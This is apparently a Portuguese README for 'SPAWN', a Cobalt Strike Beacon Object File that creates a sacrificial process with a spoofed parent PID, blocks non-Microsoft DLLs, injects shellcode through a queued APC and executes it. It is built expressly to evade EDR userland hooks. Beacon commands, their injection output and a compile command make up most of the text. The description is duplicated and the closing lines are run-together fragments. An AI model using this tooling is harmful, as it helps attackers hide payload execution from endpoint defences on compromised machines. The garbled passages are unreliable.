
BOF do Cobalt Strike que cria um processo sacrificial, injeta shellcode nele e executa o payload. Criado para evadir hooks de EDR/UserLand ao criar um processo sacrificial com Arbitrary Code Guard (ACG), BlockDll e spoofing de PPID.
BOF do Cobalt Strike que gera um processo sacrificial, injeta shellcode nele e executa o payload. Construído para evadir hooks de EDR/UserLand ao gerar um processo sacrificial com Arbitrary Code Guard (ACG), BlockDll e spoofing de PPID.

beacon> spawn notepad.exe 6248 /Users/bobby.cooke/git/boku7/SPAWN/popCalc.bin
[*] SPAWN (Bobby Cooke//SpiderLabs|@0xBoku|github.com/boku7)
[+] Opened handle 0x534 to process 6248(PID)
[+] Spawned process: notepad.exe | PID: 8404 | PPID: 6248
[+] Allocated RE memory in remote process 8404 (PID) at: 0x00000177A72C0000
[+] Wrote 280 bytes to memory in remote process 8404 (PID) at 0x00000177A72C0000
[+] APC queued for main thread of 8404 (PID) to shellcode address 0x00000177A72C0000
beacon> help
spawn Spawn a process with a spoofed PPID and blockDll
beacon> help spawn
Synopsis: spawn /path/to/exe PPID
beacon> ps
8264 5536 OneDrive.exe x86 1 DESKTOP-KOSR2NO\boku
beacon> spawn cmd.exe 8264
[*] SPAWN (@0xBoku|github.com/boku7)
Opened handle 0x634 to process 8264(PID)
Success! Spawned process: cmd.exe | PID: 5384 | PPID: 8264
blockdll "semelhante" ao Cobalt Strikex86_64-w64-mingw32-gcc -c spawn.x64.c -o spawn.x64.o
beacon> spawn /path/to/exe PPID /local/path/to/shellcode.bin

cmd.exe sendo gerado com o PPID como OneDrive.exeblockdll do Cobalt Strike para impedir que DLLs não assinadas pela Microsoft sejam carregadas na memória do processo gerado
Signatures restricted (Microsoft only)Signatures restricted (Microsoft only) faz com que DLLs não assinadas pela Microsoft não possam ser carregadas em nosso processo gerado
